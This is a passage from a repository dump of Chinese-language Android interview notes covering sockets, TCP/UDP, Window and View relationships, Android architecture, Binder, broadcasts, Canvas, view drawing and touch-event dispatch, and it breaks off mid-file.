    "content": "# 浅谈Socket协议\n\nSocket 是对 TCP/IP 协议族的一种封装，是应用层与TCP/IP协议族通信的中间软件抽象层。从设计模式的角度看来，Socket其实就是一个门面模式，它把复杂的TCP/IP协议族隐藏在Socket接口后面，对用户来说，一组简单的接口就是全部，让Socket去组织数据，以符合指定的协议。\n\nSocket 还可以认为是一种网络间不同计算机上的进程通信的一种方法，利用三元组（ip地址，协议，端口）就可以唯一标识网络中的进程，网络中的进程通信可以利用这个标志与其它进程进行交互。\n\nSocket 起源于 Unix ，Unix/Linux 基本哲学之一就是“一切皆文件”，都可以用“打开(open) –> 读写(write/read) –> 关闭(close)”模式来进行操作。因此 Socket 也被处理为一种特殊的文件。\n\n![OSI模型和TCP/IP协议的区别](http://upload-images.jianshu.io/upload_images/2964446-1fd7a0f3216c0530.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n## TCP/IP\n\n要想理解socket首先得熟悉一下TCP/IP协议族， TCP/IP（Transmission Control Protocol/Internet Protocol）即传输控制协议/网间协议，定义了主机如何连入因特网及数据如何再它们之间传输的标准，\n\n从字面意思来看TCP/IP是TCP和IP协议的合称，但实际上TCP/IP协议是指因特网整个TCP/IP协议族。不同于ISO模型的七个分层，TCP/IP协议参考模型把所有的TCP/IP系列协议归类到四个抽象层中\n\n应用层：TFTP，HTTP，SNMP，FTP，SMTP，DNS，Telnet 等等\n\n传输层：TCP，UDP\n\n网络层：IP，ICMP，OSPF，EIGRP，IGMP\n\n数据链路层：SLIP，CSLIP，PPP，MTU\n\n每一抽象层建立在低一层提供的服务上，并且为高一层提供服务，看起来大概是这样子的\n\n![](http://images.cnitblog.com/blog/349217/201312/05230830-04807bb739954461a8bfc7513707f253.jpg)\n\n![](http://images.cnitblog.com/blog/349217/201312/05230857-f49d5855f1e14a23a186737e0bec8a0f.gif)\n\n## Socket\n\n我们知道两个进程如果需要进行通讯最基本的一个前提能能够唯一的标示一个进程，在本地进程通讯中我们可以使用PID来唯一标示一个进程，但PID只在本地唯一，网络中的两个进程PID冲突几率很大，这时候我们需要另辟它径了，我们知道IP层的ip地址可以唯一标示主机，而TCP层协议和端口号可以唯一标示主机的一个进程，这样我们可以利用ip地址＋协议＋端口号唯一标示网络中的一个进程。\n\n能够唯一标示网络中的进程后，它们就可以利用socket进行通信了，什么是socket呢？我们经常把socket翻译为套接字，socket是在应用层和传输层之间的一个抽象层，它把TCP/IP层复杂的操作抽象为几个简单的接口供应用层调用已实现进程在网络中通信。\n\n![](http://images.cnitblog.com/blog/349217/201312/05225723-2ffa89aad91f46099afa530ef8660b20.jpg)\n\n\n## TCP(传输控制协议)\n\n传输控制协议(Transmission Control Protocol,简写TCP)是一种面向连接，可靠的基于字节流的传输层协议。\n\n建立连接的过程需要三次握手，释放链接需要四次挥手。\n\n**建立连接**：\n\n![](http://upload-images.jianshu.io/upload_images/2964446-aa923712d5218eeb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n (1）第一次握手：Client将标志位SYN置为1，随机产生一个值seq=J，并将该数据包发送给Server，Client进入SYN_SENT状态，等待Server确认。\n\n（2）第二次握手：Server收到数据包后由标志位SYN=1知道Client请求建立连接，Server将标志位SYN和ACK都置为1，ack=J+1，随机产生一个值seq=K，并将该数据包发送给Client以确认连接请求，Server进入SYN_RCVD状态。\n\n（3）第三次握手：Client收到确认后，检查ack是否为J+1，ACK是否为1，如果正确则将标志位ACK置为1，ack=K+1，并将该数据包发送给Server，Server检查ack是否为K+1，ACK是否为1，如果正确则连接建立成功，Client和Server进入ESTABLISHED状态，完成三次握手，随后Client与Server之间可以开始传输数据了。\n\n简单来说，就是\n\n1、建立连接时，客户端发送SYN包（SYN=i）到服务器，并进入到SYN-SEND状态，等待服务器确认\n\n2、服务器收到SYN包，必须确认客户的SYN（ack=i+1）,同时自己也发送一个SYN包（SYN=k）,即SYN+ACK包，此时服务器进入SYN-RECV状态\n\n3、客户端收到服务器的SYN+ACK包，向服务器发送确认报ACK（ack=k+1）,此包发送完毕，客户端和服务器进入ESTABLISHED状态，完成三次握手，客户端与服务器开始传送数据。\n\n\n**释放链接**\n\n![](http://upload-images.jianshu.io/upload_images/2964446-2b9562b3a8b72fb2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n由于TCP连接时全双工的，因此，每个方向都必须要单独进行关闭，这一原则是当一方完成数据发送任务后，发送一个FIN来终止这一方向的连接，收到一个FIN只是意味着这一方向上没有数据流动了，即不会再收到数据了，但是在这个TCP连接上仍然能够发送数据，直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭，而另一方则执行被动关闭，上图描述的即是如此。\n\n（1）第一次挥手：Client发送一个FIN，用来关闭Client到Server的数据传送，Client进入FIN_WAIT_1状态。\n\n（2）第二次挥手：Server收到FIN后，发送一个ACK给Client，确认序号为收到序号+1（与SYN相同，一个FIN占用一个序号），Server进入CLOSE_WAIT状态。\n\n（3）第三次挥手：Server发送一个FIN，用来关闭Server到Client的数据传送，Server进入LAST_ACK状态。\n\n（4）第四次挥手：Client收到FIN后，Client进入TIME_WAIT状态，接着发送一个ACK给Server，确认序号为收到序号+1，Server进入CLOSED状态，完成四次挥手。\n\n为什么建立连接是三次握手，而关闭连接却是四次挥手呢？\n\n这是因为服务端在LISTEN状态下，收到建立连接请求的SYN报文后，把ACK和SYN放在一个报文里发送给客户端。而关闭连接时，当收到对方的FIN报文时，仅仅表示对方不再发送数据了但是还能接收数据，己方也未必全部数据都发送给对方了，所以己方可以立即close，也可以发送一些数据给对方后，再发送FIN报文给对方来表示同意现在关闭连接，因此，己方ACK和FIN一般都会分开发送。\n\n\n## UDP\n\n用户数据包协议（英语：User Datagram Protocol，缩写为UDP），又称用户数据报文协议，是一个简单的面向数据报的传输层协议，正式规范为RFC 768。\n\n在TCP/IP模型中，UDP为网络层以上和应用层以下提供了一个简单的接口。UDP只提供数据的不可靠传递，它一旦把应用程序发给网络层的数据发送出去，就不保留数据备份（所以UDP有时候也被认为是不可靠的数据报协议）。UDP在IP数据报的头部仅仅加入了复用和数据校验（字段）。\nUDP首部字段由4个部分组成，其中两个是可选的。各16bit的来源端口和目的端口用来标记发送和接受的应用进程。因为UDP不需要应答，所以来源端口是可选的，如果来源端口不用，那么置为零。在目的端口后面是长度固定的以字节为单位的长度域，用来指定UDP数据报包括数据部分的长度，长度最小值为8byte。首部剩下地16bit是用来对首部和数据部分一起做校验和（Checksum）的，这部分是可选的，但在实际应用中一般都使用这一功能。\n由于缺乏可靠性且属于非连接导向协议，UDP应用一般必须允许一定量的丢包、出错和复制粘贴。但有些应用，比如TFTP，如果需要则必须在应用层增加根本的可靠机制。但是绝大多数UDP应用都不需要可靠机制，甚至可能因为引入可靠机制而降低性能。流媒体（流技术）、即时多媒体游戏和IP电话（VoIP）一定就是典型的UDP应用。如果某个应用需要很高的可靠性，那么可以用传输控制协议（TCP协议）来代替UDP。\n由于缺乏拥塞控制（congestion control），需要基于网络的机制来减少因失控和高速UDP流量负荷而导致的拥塞崩溃效应。换句话说，因为UDP发送者不能够检测拥塞，所以像使用包队列和丢弃技术的路由器这样的网络基本设备往往就成为降低UDP过大通信量的有效工具。数据报拥塞控制协议（DCCP）设计成通过在诸如流媒体类型的高速率UDP流中，增加主机拥塞控制，来减小这个潜在的问题。\n典型网络上的众多使用UDP协议的关键应用一定程度上是相似的。这些应用包括域名系统（DNS）、简单网络管理协议（SNMP）、动态主机配置协议（DHCP）、路由信息协议（RIP）和某些影音流服务等等。\n\n\nUDP 是一个简单的传输层协议。和 TCP 相比，UDP 有下面几个显著特性：\n\n- UDP 缺乏可靠性。UDP 本身不提供确认，序列号，超时重传等机制。UDP 数据报可能在网络中被复制，被重新排序。即 UDP 不保证数据报会到达其最终目的地，也不保证各个数据报的先后顺序，也不保证每个数据报只到达一次\n- UDP 数据报是有长度的。每个 UDP 数据报都有长度，如果一个数据报正确地到达目的地，那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议，没有任何（协议上的）记录边界。\n- UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。UDP 发送数据报之前也不需要经过握手创建连接的过程。\n- UDP 支持多播和广播。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/interview/.gitignore",
    "content": "_book\n*.pdf\n.DS_Store\n"
  },
  {
    "path": "docs/android/interview/README.md",
    "content": "* [Introduction](README.md)\n* [计算机基础](basic/README.md)\n    * [计算机网络](basic/net/README.md)\n        * [网络分层](basic/net/osi.md)\n        * [底层网络协议](basic/net/base_protocol.md)\n        * [TCP](basic/net/tcp.md)\n        * [IP](basic/net/ip.md)\n        * [HTTP](basic/net/http.md)\n        * [面试题](basic/net/questions.md)\n    * [数据结构与算法](basic/algo/README.md)\n        * [树](basic/algo/tree.md)\n        * [Hash](basic/algo/hash.md)\n        * [最小生成树算法](basic/algo/mst.md)\n        * [最短路径算法](basic/algo/path.md)\n        * [KMP算法](basic/algo/kmp.md)\n        * [查找算法](basic/algo/search.md)\n        * [排序算法](basic/algo/sort.md)\n        * [常用算法](basic/algo/algo.md)\n        * [面试题](basic/algo/questions.md)\n    * [操作系统](basic/op/README.md)\n        * [计算机体系结构](basic/op/arch.md)\n        * [操作系统基础](basic/op/os.md)\n        * [并发](basic/op/concurrency.md)\n        * [内存管理](basic/op/memory.md)\n        * [磁盘与文件](basic/op/disk.md)\n        * [Linux系统](basic/op/linux.md)\n        * [中断](basic/op/interrupt.md)\n        * [设备管理](basic/op/device.md)\n        * [面试题](basic/op/questions.md)\n    * [数据库系统](basic/database/README.md)\n        * [事务](basic/database/transaction.md)\n        * [索引](basic/database/index.md)\n        * [SQL语句](basic/database/sql.md)\n        * [连接](basic/database/join.md)\n        * [面试题](basic/database/questions.md)\n* [Java基础](java/README.md)\n    * [面向对象基础](java/oop.md)\n    * [运算符优先级](java/operator.md)\n    * [集合框架](java/collection.md)\n    * [Java分派机制](java/dispatcher.md)\n    * [Java异常](java/exception.md)\n    * [Java泛型](java/generics.md)\n    * [Java线程](java/thread.md)\n    * [JVM架构](java/jvm-architecture.md)\n    * [类加载器](java/jvm-class-loader.md)\n    * [JVM类加载三步走](java/jvm-class-load-init.md)\n    * [JVM垃圾回收](java/jvm-gc.md)\n    * [Java对象生命周期](java/jvm-object-life-cycle.md)\n    * [Volatile原理](java/volatile.md)\n    * [Synchronized原理](java/synchronized.md)\n    * [ConcurrentHashmap](java/concurrenthashmap.md)\n    * [Threadlocal原理](java/threadlocal.md)\n    * [RxJava](java/rxjava.md)\n    * [面试题](java/questions.md)\n* [Android开发](android/README.md)\n    * [Android系统架构](android/arch.md)\n    * [Activity && Service生命周期](android/lifecicle.md)\n    * [Activity四种启动模式](android/launchmod.md)\n    * [ListView原理及优化](android/listview.md)\n    * [Android中Handler机制](android/handler.md)\n    * [Android广播机制](android/broadcast.md)\n    * [View绘制过程](android/draw.md)\n    * [Canvas使用](android/canvas.md)\n    * [事件分发机制](android/event.md)\n    * [Binder](android/binder.md)\n    * [性能优化](android/optimize.md)\n    * [推送机制](android/push.md)\n    * [进程保活](android/keep-live.md)\n    * [Activity、View及Window之间关系](android/activity-view-window.md)\n    * [EventBus](android/eventbus.md)\n    * [OkHttp](android/okhttp.md)\n    * [Intent](android/intent.md)\n    * [版本问题](android/version.md)\n    * [面试题](android/questions.md)\n"
  },
  {
    "path": "docs/android/interview/android/README.md",
    "content": "# 安卓\n\n"
  },
  {
    "path": "docs/android/interview/android/SUMMARY.md",
    "content": "# Summary\n\n* [Introduction](README.md)\n\n"
  },
  {
    "path": "docs/android/interview/android/activity-view-window.md",
    "content": "# Activity、View及Window之间关系\n\n## View\n\nView（包括ViewGroup）使用的是组合模式，将View组成成树形结构，以表示“部分-整体”的层次结构，使得用户对单个对象和组合对象的使用具有一致性。View主要是用于绘制我们想要的结果，是一个最基本的UI组件。\n\n## Window\n\n简单地说，`Window`表示一个窗口，一般来说，`Window`大小取值为屏幕大小。但是这不是绝对的，如对话框、Toast等就不是整个屏幕大小。你可以指定`Window`的大小。`Window`包含一个`View tree`和窗口的`layout`参数。\n\n感觉Window的理解比较抽象，Window相当于一个容器，里面“盛放”着很多View，这些View是以树状结构组织起来的。\n\n> 如果还是无法理解的话，就把Window当成是显示器，显示器有大有小（对应Window有大有小），View是显示器里面具体显示的内容。\n\n### Window对象存在的必要性\n\n`Window`能做的事情，`View`对象基本都能做：像什么触摸事件啊、显示的坐标及大小啊、管理各个子View啊等等。View已经这么强大了，为什么还多此一举，加个`Window`对象。可能有人会说因为`WindowManager`管理的就是`Window`对象呀，那我想问，既然这样，Android系统直接让`WindowManager`去管理`View`不就好了？让View接替`Window`的工作，把`Window`所做的事情都封装到`View`里面不好嘛？。或许又有人说，`View`负责绘制显示内容，`Window`负责管理`View`，各自的工作职责不同。可是我想说，`Window`所做的大部分工作，`View`里面都有同样（或类似）的处理。\n\n关于`Window`存在的必要，我查了国内外各种资料，最后有了我个人的理解。在后面小节里面，我会结合我个人的理解来解释。在解释之前，我们需要了解Window绘制过程。\n\n### Window绘制过程\n\n在理解`Window`绘制过程之前，首先，我们需要知道`Surface`，在`Window`中持有一个`Surface`，那么什么是`Surface`呢？\n\n`Surface`其实就是一个持有像素点矩阵的对象，这个像素点矩阵是组成显示在屏幕的图像的一部分。**我们看到显示的每个Window（包括对话框、全屏的Activity、状态栏等）都有他自己绘制的`Surface`**。而最终的显示可能存在`Window`之间遮挡的问题，此时就是通过`Surface Flinger对`象渲染最终的显示，使他们以正确的`Z-order`显示出来。一般`Surface`拥有一个或多个缓存（一般2个），通过双缓存来刷新，这样就可以一边绘制一边加新缓存。\n\n`WindowManager`为每个`Window`创建`Surface`对象，然后应用就可以通过这个`Surface`来绘制任何它想要绘制的东西。而对于`WindowManager`来说，这只不过是一块矩形区域而已。\n\n前面我们说过，`View`是`Window`里面用于交互的UI元素。`Window`只attach一个`View Tree`，当`Window`需要重绘（如，当View调用`invalidate`）时，最终转为`Window`的`Surface`，`Surface`被锁住（locked）并返回Canvas对象，此时View拿到Canvas对象来绘制自己。当所有View绘制完成后，`Surface`解锁（unlock），并且post到绘制缓存用于绘制，通过`Surface Flinger`来组织各个Window，显示最终的整个屏幕。\n\n### 总结\n\n现在我们知道了`Window`绘制过程，其实，站在系统的角度来考虑，一个Window对象代表一块显示区域，系统不关心Window里面具体的绘制内容，也不管你`Window`怎么去绘制，反正只给你提供可以在这块区域上绘制图形的`Surface`对象，你`Window`对象怎么画是你的事情！\n\n换句话说，站在系统的角度上看，系统是“不知道”有View对象这个说法的！作为系统，我有自己的骄傲，不去管你Window如何搬砖、如何砌墙，只给你地皮。而这时，Window为了绘制出用户想要的组件（按钮、文字、输入框等等），系统又不给我！没事，那我自己定义，于是就定义了View机制，给每个View提供Canvas，让不同的View自己绘制具有自己特色的组件。同时，为了更好的管理View，通过定义ViewGroup，等等。\n\n## Activity\n\n对于开发人员来说，一个`Activity`就“相当于”一个界面（通过`setContentView`指定具体的View）。我们可以直接在Activity里处理事件，如`onKeyEvent`,`onTouchEvent`等。 并可以通过Activity维护应用程序的生命周期。\n\n### Activity和Window\n\n前面我们知道，`Window`已经是系统管理的窗口界面。那么为什么还需要`Activity`呢？我们把`Activity`所做的事情，全部封装到`Window`不就好了？\n\n其实，本质上讲，我们要显示一个窗口出来，的确可以不需要Activity。悬浮窗口中不就是没有使用Activity来显示一个悬浮窗吗？既然如此，Window（以及View）能处理点击事件以及封装各种逻辑，那为啥还需要Activity呢？\n\n`Android`中的应用中，里面对各个窗口的管理相当复杂（任务栈、状态等等），Android系统当然可以不用Activity，让用户自己直接操作Window来开发自己的应用。但是如果让用户自己去管理这些Window，先不说工作量，光让用户自己去实现任务栈这点，有几个人能写的出来。**为了让大家能简单、快速的开发应用，Android通过定义Activity，让Activity帮我们管理好，我们只需简单的去重写几个回调函数，无需直接与Window对象接触**。各种事件也只需重写Activity里面的回调即可。无需关注其他细节，默认都帮我们写好了，针对需要定制的部分我们重写（设计模式为：模板方法模式）。\n"
  },
  {
    "path": "docs/android/interview/android/arch.md",
    "content": "# Android系统架构\n\n![](images/arch.png)\n\n## 应用程序(Applications)\n\nAndroid会同一系列核心应用程序包一起发布，该应用程序包包括email客户端，SMS短消息程序，日历，地图，浏览器，联系人管理程序等。所有的应用程序都是使用JAVA语言编写的。通常开发人员就处在这一层。\n\n## 应用程序框架(Application Frameworks)\n\n提供应用程序开发的各种API进行快速开发，也即隐藏在每个应用后面的是一系列的服务和系统，大部分使用Java编写，所谓官方源码很多也就是看这里，其中包括：\n\n- **丰富而又可扩展的视图（Views）**：可以用来构建应用程序， 它包括列表（lists），网格（grids），文本框（text boxes），按钮（buttons）， 甚至可嵌入的web浏览器。\n- **内容提供器（Content Providers）**：使得应用程序可以访问另一个应用程序的数据（如联系人数据库）， 或者共享它们自己的数据\n- **资源管理器（Resource Manager）**：提供 非代码资源的访问，如本地字符串，图形，和布局文件（ layout files ）。\n- **通知管理器 （Notification Manager）**：使得应用程序可以在状态栏中显示自定义的提示信息。\n- **活动管理器（ Activity Manager）**：用来管理应用程序生命周期并提供常用的导航回退功能。\n\n## 系统运行库与Android运行环境(Libraris & Android Runtime)\n\n### 系统运行库\n\nAndroid 包含一些C/C++库，这些库能被Android系统中不同的组件使用。它们通过 Android 应用程序框架为开发者提供服务。以下是一些核心库：\n  - **Bionic系统 C 库** - 一个从 BSD 继承来的标准 C 系统函数库（ libc ）， 它是专门为基于 embedded linux 的设备定制的。\n  - **媒体库** - 基于 PacketVideo OpenCORE；该库支持多种常用的音频、视频格式回放和录制，同时支持静态图像文件。编码格式包括MPEG4, H.264, MP3, AAC, AMR, JPG, PNG 。\n  - **Surface Manager** - 对显示子系统的管理，并且为多个应用程序提 供了2D和3D图层的无缝融合。这部分代码\n  - **Webkit,LibWebCore** - 一个最新的web浏览器引擎用，支持Android浏览器和一个可嵌入的web视图。鼎鼎大名的 Apple Safari背后的引擎就是Webkit\n  - **SGL** - 底层的2D图形引擎\n  - **3D libraries** - 基于OpenGL ES 1.0 APIs实现；该库可以使用硬件 3D加速（如果可用）或者使用高度优化的3D软加速。\n  - **FreeType** -位图（bitmap）和矢量（vector）字体显示。\n  - **SQLite** - 一个对于所有应用程序可用，功能强劲的轻型关系型数据库引擎。\n\n### Android运行环境\n\n该核心库提供了JAVA编程语言核心库的大多数功能。<br />每一个Android应用程序都在它自己的进程中运 行，都拥有一个独立的Dalvik虚拟 机实例。Dalvik被设计成一个设备可以同时高效地运行多个虚拟系统。 Dalvik虚拟机执行（.dex）的Dalvik可执行文件，该格式文件针对小内存使用做了 优化。同时虚拟机是基于寄存器的，所有的类都经由JAVA编译器编译，然后通过SDK中 的 \"dx\" 工具转化成.dex格式由虚拟机执行。\n\n## HAL--硬件抽象层\n\n其实Android并非讲所有的设备驱动都放在linux内核里面，而是实现在userspace空间，这么做的主要原因是GPL协议，Linux是遵循该协议来发布的，也就意味着对linux内核的任何修改，都必须发布其源代码。而现在这么做就可以避开而无需发布其源代码，毕竟它是用来赚钱的。而在linux内核中为这些userspace驱动代码开一个后门，就可以让本来userspace驱动不可以直接控制的硬件可以被访问。而只需要公布这个后门代码即可。一般情况下如果要将Android移植到其他硬件去运行，只需要实现这部分代码即可。包括：显示器驱动，声音，相机，GPS,GSM等等\n\n## Linux内核(Linux Kernel)\n\nAndroid的核心系统服务依赖于Linux 2.6 内核，如安全性，内存管理，进程管理， 网络协议栈和驱动模型。 Linux 内核也同时作为硬件和软件栈之间的抽象层。其外还对其做了部分修改，主要涉及两部分修改：\n\n 1. Binder (IPC)：提供有效的进程间通信，虽然linux内核本身已经提供了这些功能，但Android系统很多服务都需要用到该功能，为了某种原因其实现了自己的一套。\n 2. 电源管理：主要是为了省电，毕竟是手持设备嘛，低耗电才是我们的追求。\n"
  },
  {
    "path": "docs/android/interview/android/binder.md",
    "content": "# Binder\n\n## 简介\n\nBinder使用`Client－Server`通信方式。Binder框架定义了四个角色：`Server`,`Client`,`ServiceManager`以及`Binder驱动`。其中`Server`,`Client`,`ServiceManager`运行于用户空间，驱动运行于内核空间。Binder驱动程序提供设备文件`/dev/binder`与用户空间交互，`Client`、`Server`和`Service Manager`通过`open`和`ioctl`文件操作函数与Binder驱动程序进行通信。\n\n![](images/binder.gif)\n\n## Binder原理简述\n\n  1. Server创建了Binder实体，为其取一个字符形式，可读易记的名字。\n  2. 将这个Binder连同名字以数据包的形式通过Binder驱动发送给`ServiceManager`，通知`ServiceManager`注册一个名字为XX的Binder，它位于Server中。\n  3. 驱动为这个穿过进程边界的Binder创建位于内核中的实体结点以及ServiceManager对实体的引用，将名字以及新建的引用打包给ServiceManager。\n  4. `ServiceManager`收数据包后，从中取出名字和引用填入一张查找表中。但是一个Server若向ServiceManager注册自己Binder就必须通过这个引用和`ServiceManager`的Binder通信。\n  5. Server向`ServiceManager`注册了Binder实体及其名字后，Client就可以通过名字获得该Binder的引用了。Clent也利用保留的引用向`ServiceManager`请求访问某个Binder：我申请名字叫XX的Binder的引用。\n  6. `ServiceManager`收到这个连接请求，从请求数据包里获得Binder的名字，在查找表里找到该名字对应的条目，从条目中取出Binder引用，将该引用作为回复发送给发起请求的Client。\n\n当然，不是所有的Binder都需要注册给`ServiceManager`广而告之的。Server端可以通过已经建立的Binder连接将创建的Binder实体传给Client，当然这条已经建立的Binder连接必须是通过实名Binder实现。由于这个Binder没有向ServiceManager注册名字，所以是 **匿名Binder**。Client将会收到这个匿名Binder的引用，通过这个引用向位于Server中的实体发送请求。匿名Binder为通信双方建立一条私密通道，只要Server没有把匿名Binder发给别的进程，别的进程就无法通过穷举或猜测等任何方式获得该Binder的引用，向该Binder发送请求。\n\n## Binder的数据拷贝\n\nLinux内核实际上没有从一个用户空间到另一个用户空间直接拷贝的函数，需要先用`copy_from_user()`拷贝到内核空间，再用`copy_to_user()`拷贝到另一个用户空间。**为了实现用户空间到用户空间的拷贝，`mmap()`分配的内存除了映射进了接收方进程里，还映射进了内核空间**。所以调用`copy_from_user()`将数据拷贝进内核空间也相当于拷贝进了接收方的用户空间，这就是Binder只需一次拷贝的\"秘密\"。\n\n最底层的是Android的`ashmen(Anonymous shared memory)`机制，它负责辅助实现内存的分配，以及跨进程所需要的内存共享。AIDL(android interface definition language)对Binder的使用进行了封装，可以让开发者方便的进行方法的远程调用，后面会详细介绍。Intent是最高一层的抽象，方便开发者进行常用的跨进程调用。\n\n使用共享内存通信的一个显而易见的好处是效率高，因为 **进程可以直接读写内存，而不需要任何数据的拷贝**。对于像管道和消息队列等通信方式，则需要在内核和用户空间进行四次的数据拷贝，而共享内存则只拷贝两次内存数据：一次从输入文件到共享内存区，另一次从共享内存到输出文件。实际上，进程之间在共享内存时，并不总是读写少量数据后就解除映射，有新的通信时，再重新建立共享内存区域，而是保持共享区域，直到通信完成为止，这样，数据内容一直保存在共享内存中，并没有写回文件。共享内存中的内容往往是在解除内存映射时才写回文件的。因此，采用共享内存的通信方式效率是非常高的。\n"
  },
  {
    "path": "docs/android/interview/android/broadcast.md",
    "content": "# Android广播机制\n\n广播(Broadcast)机制用于进程/线程间通信，广播分为广播发送和广播接收两个过程，其中广播接收者BroadcastReceiver便是Android四大组件之一。\n\nBroadcastReceiver分为两类：\n\n  - `静态广播接收者`：通过`AndroidManifest.xml`的标签来申明的BroadcastReceiver。\n  - `动态广播接收者`：通过`AMS.registerReceiver()`方式注册的BroadcastReceiver，动态注册更为灵活，可在不需要时通过`unregisterReceiver()`取消注册。\n\n从广播发送方式可分为三类：\n\n  - `普通广播`：通过Context.sendBroadcast()发送，可并行处理\n  - `有序广播`：通过Context.sendOrderedBroadcast()发送，串行处理\n  - `Sticky广播`：通过Context.sendStickyBroadcast()发送，发出的广播会一直滞留（等待），以便有人注册这则广播消息后能尽快的收到这条广播。\n\nAndroid 中的 Broadcast 实际底层使用Binder机制。\n"
  },
  {
    "path": "docs/android/interview/android/canvas.md",
    "content": "# Canvas使用\n\n  - **save**：用来保存 Canvas 的状态。save 之后，可以调用 Canvas 的平移、放缩、旋转、错切、裁剪等操作。\n\n  - **restore**：用来恢复Canvas之前保存的状态。防止 save 后对 Canvas 执行的操作对后续的绘制有影响。\n\n\nsave 和 restore 要配对使用( restore 可以比 save 少，但不能多)，如果 restore 调用次数比 save 多，会引发 Error 。save 和 restore 之间，往往夹杂的是对 Canvas 的特殊操作。\n"
  },
  {
    "path": "docs/android/interview/android/draw.md",
    "content": "# [View绘制过程](http://blog.csdn.net/yanbober/article/details/46128379)\n\n整个View树的绘图流程是在ViewRootImpl类的performTraversals()方法（这个方法巨长）开始的，该函数做的执行过程主要是根据之前设置的状态，判断是否重新计算视图大小(measure)、是否重新放置视图的位置(layout)、以及是否重绘 (draw)。\n\n![](images/draw_1.jpg)\n\n## Measure\n\n![](images/draw_2.jpg)\n\n通过上面可以看出measure过程主要就是从顶层父View向子View递归调用`view.measure`方法（measure中又回调onMeasure方法）的过程。具体measure核心主要有如下几点：\n\n  - `MeasureSpec`（View的内部类）测量规格为int型，值由高2位规格模式`specMode`和低30位具体尺寸`specSize`组成。其中specMode只有三种值：\n\n    - `MeasureSpec.EXACTLY` //确定模式，父View希望子View的大小是确定的，由specSize决定；\n    - `MeasureSpec.AT_MOST` //最多模式，父View希望子View的大小最多是specSize指定的值；\n    - `MeasureSpec.UNSPECIFIED` //未指定模式，父View完全依据子View的设计值来决定；\n\n  - View的 measure 方法是`final`的，不允许重载，**View子类只能重载onMeasure来完成自己的测量逻辑**。\n\n  - 最顶层DecorView测量时的MeasureSpec是由ViewRootImpl中getRootMeasureSpec方法确定的，**LayoutParams宽高参数均为MATCH_PARENT，specMode是EXACTLY，specSize为物理屏幕大小**。\n\n  - ViewGroup类提供了`measureChild`，`measureChild`和`measureChildWithMargins`方法，简化了父子View的尺寸计算。\n\n  - 只要是ViewGroup的子类就必须要求LayoutParams继承子MarginLayoutParams，否则无法使用layout_margin参数。\n\n  - View的布局大小由父View和子View共同决定。\n\n  - 使用View的`getMeasuredWidth()`和`getMeasuredHeight()`方法来获取View测量的宽高，必须保证这两个方法在`onMeasure`流程之后被调用才能返回有效值。\n\n## Layout\n\n![](images/draw_3.jpg)\n\nlayout方法接收四个参数，这四个参数分别代表相对Parent的左、上、右、下坐标。而且还可以看见左上都为0，右下分别为上面刚刚测量的width和height。\n\n整个layout过程比较容易理解，从上面分析可以看出layout也是从顶层父View向子View的递归调用view.layout方法的过程，即父View根据上一步measure子View所得到的布局大小和布局参数，将子View放在合适的位置上。具体layout核心主要有以下几点：\n\n  - `View.layout`方法可被重载，`ViewGroup.layout`为final的不可重载，`ViewGroup.onLayout`为abstract的，子类必须重载实现自己的位置逻辑。\n\n  - measure操作完成后得到的是对每个View经测量过的`measuredWidth`和`measuredHeight`，layout操作完成之后得到的是对每个View进行位置分配后的mLeft、mTop、mRight、mBottom，这些值都是相对于父View来说的。\n\n  - **凡是layout_XXX的布局属性基本都针对的是包含子View的ViewGroup的，当对一个没有父容器的View设置相关layout_XXX属性是没有任何意义的**。\n\n  - 使用View的getWidth()和getHeight()方法来获取View测量的宽高，必须保证这两个方法在onLayout流程之后被调用才能返回有效值。\n\n## Draw\n\n![](images/draw_4.jpg)\n\nViewRootImpl中的代码会创建一个Canvas对象，然后调用View的draw()方法来执行具体的绘制工作。\n\n可以看见，绘制过程就是把View对象绘制到屏幕上，整个draw过程需要注意如下细节：\n\n  - 如果该View是一个`ViewGroup`，则需要递归绘制其所包含的所有子View。\n\n  - View默认不会绘制任何内容，真正的绘制都需要自己在子类中实现。\n\n  - View的绘制是借助`onDraw`方法传入的`Canvas`类来进行的。\n\n  - 区分View动画和ViewGroup布局动画，前者指的是View自身的动画，可以通过`setAnimation`添加，后者是专门针对`ViewGroup`显示内部子视图时设置的动画，可以在xml布局文件中对`ViewGroup`设置`layoutAnimation`属性。\n\n  - 在获取画布剪切区（每个`View`的`draw`中传入的`Canvas`）时会自动处理掉`padding`，子`View`获取`Canvas`不用关注这些逻辑，只用关心如何绘制即可。\n\n  - 默认情况下子`View`的`ViewGroup.drawChild`绘制顺序和子`View`被添加的顺序一致，但是你也可以重载`ViewGroup.getChildDrawingOrder()`方法提供不同顺序。\n"
  },
  {
    "path": "docs/android/interview/android/event.md",
    "content": "# 事件分发机制\n\n事件的分发机制由三个重要方法来共同完成：dispatchTouchEvent、onInterceptTouchEvent和onTouchEvent\n\n  - 事件分发：public boolean dispatchTouchEvent(MotionEvent ev)：用来进行事件的分发。如果事件能够传递给当前View，那么此方法一定会被调用，返回结果受当前View的onTouchEvent和下级View的DispatchTouchEvent方法的影响，表示是否消耗当前事件。\n\n  - 事件拦截：public boolean onInterceptTouchEvent(MotionEvent event)：在上述方法内部调用，用来判断是否拦截某个事件，如果当前View拦截了某个事件，那么在同一个事件序列当中，此方法不会被再次调用，返回结果表示是否拦截当前事件。\n\n  - 事件响应：public boolean onTouchEvent(MotionEvent event)：在dispatchTouchEvent方法中调用，用来处理点击事件，返回结果表示是否消耗当前事件，如果不消耗，则在同一个事件序列中，当前View无法再次接收到事件。\n\n三者的关系可以总结为如下伪代码：\n\n```Java\npublic boolean dispatchTouchEvent(MotionEvent ev) {\n    boolean consume = false;\n    if (onInterceptTouchEvent(ev)) {\n        consume = onTouchEvent(ev);\n    } else {\n        consume = child.dispatchTouchEvent(ev);\n    }\n\n    return consume;\n}\n```\n\n  - 同一个事件序列是从手指触摸屏幕的那一刻起，到手指离开屏幕那一刻结束，这个过程中所产生的一系列事件。这个事件序列以down事件开始，中间含有数量不定的move事件，最终以up事件结束。\n\n  - 